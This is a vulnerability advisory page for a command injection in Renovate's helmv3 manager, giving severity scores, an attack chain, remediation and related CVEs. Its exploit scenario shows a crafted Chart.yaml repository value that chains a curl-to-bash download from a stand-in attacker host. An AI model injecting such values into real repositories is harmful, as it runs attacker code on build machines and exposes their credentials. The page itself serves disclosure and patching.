Skip to main content

Renovate CVE-2026-76232

| EUVDEUVD-2026-62473 HIGH
Command Injection (CWE-77)
2026-08-19 VulnCheck GHSA-v5qg-6f86-qw4x
Command Injection Renovate
8.4
CVSS 4.0 · Vendor: VulnCheck
Share

Severity by source

Vendor (VulnCheck) PRIMARY
8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
6.7 MEDIUM

Requires repository write access to plant malicious Chart.yaml (PR:H); command executes locally on Renovate host (AV:L); full confidentiality, integrity, and availability impact on affected system.

3.1 AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 19, 2026 - 14:43 vuln.today
Analysis Generated
Aug 19, 2026 - 14:43 vuln.today
CVE Published
Aug 19, 2026 - 14:02 cve.org
HIGH 8.4

DescriptionCVE.org

Renovate versions from 31.51.0 before 40.33.0 contain a command injection vulnerability in the helmv3 manager where the repository parameter is appended to helm registry login commands without proper sanitization. Attackers with repository write access can craft malicious Chart.yaml files to execute arbitrary commands on the machine running Renovate.

AnalysisAI

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with write access to execute arbitrary OS commands on the system running Renovate by embedding shell metacharacters in the repository field of a crafted Chart.yaml file. The unsanitized value is interpolated directly into a helm registry login shell invocation without applying shlex.quote() escaping. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Attacker obtains repository write access
Delivery
Craft Chart.yaml with shell metacharacters in repository field
Exploit
Configure matching hostRules to trigger helm registry login
Install
Push malicious commit to monitored repository
C2
Renovate helmv3 manager parses Chart.yaml and constructs login command
Execute
Unsanitized repository value evaluated by shell
Impact
Arbitrary OS commands execute as Renovate process user
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires three concurrent conditions: (1) the attacker holds write access to a git repository actively monitored by a vulnerable Renovate instance (versions 31.51.0 to 40.32.x); (2) the `helmv3` manager is enabled, which occurs automatically when Renovate detects a `Chart.yaml` with OCI (`oci://`) or HTTPS repository dependencies; and (3) Renovate's `hostRules` configuration includes credentials matching the targeted registry host, because the `helm registry login` command - and thus the injection point - is only invoked when credentials are configured for that host. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N reflects that exploitation requires the attacker to hold write access to the repository being processed - a meaningful prerequisite that narrows the attack surface compared to a network-exploitable, unauthenticated flaw. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with write access to a git repository monitored by Renovate commits a `Chart.yaml` with a malicious `repository` field such as `oci://charts.bitnami.com/bitnami || curl https://attacker.com/shell.sh | bash`, paired with a `renovate.json5` that configures matching `hostRules` credentials for that registry host. When Renovate's helmv3 manager processes the chart's dependencies, it constructs and executes `helm registry login ... …
Remediation Upgrade Renovate to version 40.33.0 or later, which applies proper shell escaping via `shlex.quote()` to the `repository` parameter before passing it to `helm registry login`. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, identify all systems running Renovate and verify which versions are deployed; consult the vendor advisory for the specific patched version. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Renovate

View all
CVE-2026-76231 HIGH
8.4 Aug 19

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository wr
CVE-2026-76230 HIGH
8.4 Aug 19

Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac
CVE-2026-76229 HIGH
8.4 Aug 19

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors wit
CVE-2026-76233 HIGH
8.4 Aug 19

Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit
CVE-2026-76228 HIGH
8.4 Aug 19

Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runt
CVE-2026-76226 MEDIUM
6.8 Aug 19

Remote code execution in Renovate's bazel-module and bazelisk managers exposes self-hosted instances running versions 43
CVE-2026-76227 MEDIUM
6.8 Aug 19

Environment variable exposure in Renovate (versions 42.68.1 through 42.96.3 and 43.0.0 through 43.4.4) leaks the full pr

Same weakness CWE-77 – Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2015-2051 HIGH POC
8.8
CVE-2017-6327 HIGH POC
8.8
CVE-2023-34960 CRITICAL POC
9.8
CVE-2023-37679 CRITICAL POC
9.8

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

CVE-2026-76232 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy